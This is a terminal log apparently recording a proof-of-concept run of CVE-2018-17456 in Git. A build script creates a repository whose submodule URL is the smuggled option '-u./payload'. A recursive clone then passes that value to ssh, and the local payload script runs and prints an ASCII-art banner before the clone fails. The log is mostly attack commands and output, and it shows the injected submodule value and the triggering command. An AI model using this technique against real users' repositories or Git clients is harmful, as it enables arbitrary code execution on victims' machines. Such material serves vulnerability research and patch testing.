[anonymking@localhost test]$ ./build.sh 
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/Submodule/.git/
[master (root-commit) 5b1e97c] submodule
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC/exploit:exploit'...
done.
[master (root-commit) ed1914d] CVE-2018-17456
 3 files changed, 6 insertions(+)
 create mode 100644 .gitmodules
 create mode 160000 exploit:exploit
 create mode 100755 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" des_dir



[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-17456-PoC/CVE-2018-17456-PoC" test
Cloning into 'test'...
done.
Submodule 'exploit:exploit' (-u./payload) registered for path 'exploit:exploit'
Cloning into 'exploit'...


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '<  `.___\_<|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of '-u./payload' into submodule path '/home/anonymking/Desktop/test/test/exploit:exploit' failed
Failed to clone 'exploit:exploit' a second time, aborting